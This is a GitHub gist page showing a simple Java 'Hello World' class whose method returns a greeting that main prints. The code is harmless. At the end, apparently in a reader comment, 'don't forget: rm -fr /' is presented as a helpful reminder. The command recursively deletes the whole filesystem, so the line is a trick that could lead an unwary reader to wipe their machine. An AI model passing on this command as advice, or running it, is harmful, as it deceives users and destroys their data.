Created
September 8, 2010 19:38
-
-
Save samt/570696 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class HelloWorld | |
{ | |
String output = ""; | |
static HelloWorld helloObj; | |
public HelloWorld() | |
{ | |
output = "Hello World"; | |
} | |
public String printMessage() | |
{ | |
return output; | |
} | |
public static void main (String args[]) | |
{ | |
helloObj = new HelloWorld(); | |
System.out.println(helloObj.printMessage()); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
don't forget:
rm -fr /